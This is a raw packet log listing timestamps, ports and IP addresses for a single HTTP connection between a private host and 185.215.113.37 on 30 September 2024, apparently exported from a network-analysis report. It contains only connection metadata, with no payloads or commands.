Sep 30, 2024 12:33:20.700916052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.700978041 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.701215982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.701252937 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.739603996 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.739655018 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.739762068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.739772081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.739783049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.739794016 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.739801884 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.739803076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.739825010 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.739865065 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.740689039 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740700006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740709066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740736008 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.740761995 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.740868092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740885973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740895987 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740906000 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740911007 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.740917921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740933895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740940094 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.740951061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740961075 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740972042 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.740972996 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740984917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.740991116 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.740997076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741004944 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741007090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741019011 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741023064 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741029978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741046906 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741071939 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741072893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741085052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741095066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741106987 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741110086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741117954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741128922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741138935 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741139889 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741164923 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741183043 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741215944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741226912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741255045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741266012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741364002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741378069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741388083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741399050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741404057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741410017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741422892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741425037 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741431952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741432905 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741461039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741473913 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741483927 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741524935 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741643906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741653919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741664886 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741672039 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741677046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741688967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741688967 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741714001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741741896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741765976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741801977 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741952896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741965055 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741974115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741985083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.741990089 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.741997004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742027044 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742142916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742153883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742177010 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742312908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742325068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742338896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742347956 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742377043 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742497921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742536068 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742669106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742680073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742691040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742702007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742711067 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742712975 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742729902 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742754936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742857933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742868900 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742878914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742882967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742898941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742909908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.742913008 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742944002 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.742974043 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743002892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743015051 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743025064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743036032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743040085 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743046045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743052006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743057966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743063927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743067026 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743077993 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743091106 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743105888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743132114 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743176937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743187904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743199110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743211031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743218899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743221998 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743232012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743232965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743244886 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743261099 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743280888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743304968 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743347883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743491888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743508101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.743526936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.743544102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.863501072 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.863514900 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.863526106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.863555908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.863580942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.863648891 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.863661051 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.863671064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.863691092 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.863719940 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.864752054 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.864761114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.864770889 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.864784002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.864792109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.864794016 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.864813089 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.864847898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.864916086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.864927053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.864937067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.864950895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.864950895 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.864969969 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.864995003 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865268946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865278006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865288019 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865308046 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865324974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865420103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865432024 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865447044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865458012 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865458965 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865468979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865478992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865485907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865493059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865502119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865516901 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865535975 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865581989 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865591049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865600109 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865612984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865622044 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865623951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865634918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865644932 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865647078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865668058 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865686893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865708113 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865745068 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865888119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865899086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865911961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865921974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865922928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865933895 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865933895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865947008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865957975 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.865957975 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865968943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.865983009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866010904 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866372108 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866384029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866395950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866406918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866415024 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866417885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866430044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866441011 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866441011 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866452932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866461039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866478920 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866503954 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866503954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866514921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866525888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866535902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866547108 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866549015 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866561890 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866589069 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866667986 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866703033 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866707087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866719007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866728067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866748095 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866769075 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.866844893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.866885900 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867034912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867047071 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867058039 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867074013 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867074966 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867103100 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867127895 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867204905 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867217064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867249012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867398977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867408991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867419958 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867430925 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867440939 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867455959 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867485046 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867563963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867575884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867585897 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867595911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867599964 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867609024 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867621899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867645979 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867738008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867748976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867759943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867770910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867772102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867780924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867785931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867793083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867809057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867841959 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867908001 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867919922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867929935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.867948055 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.867971897 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.951843977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.951855898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.951921940 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.988184929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.988251925 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.988321066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.988329887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.988337040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.988348007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.988377094 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.988411903 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.990331888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990344048 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990354061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990365028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990390062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.990422010 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.990690947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990700006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990746021 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.990845919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990859032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990868092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990880013 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.990894079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.990925074 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.991585970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991596937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991606951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991617918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991628885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991638899 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991638899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.991650105 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991662979 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.991693974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.991693974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.991919041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991931915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991942883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.991980076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992010117 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992100000 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992110968 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992121935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992131948 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992141962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992151976 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992152929 CEST	80	49705	185.215.113.37	192.168.2.8
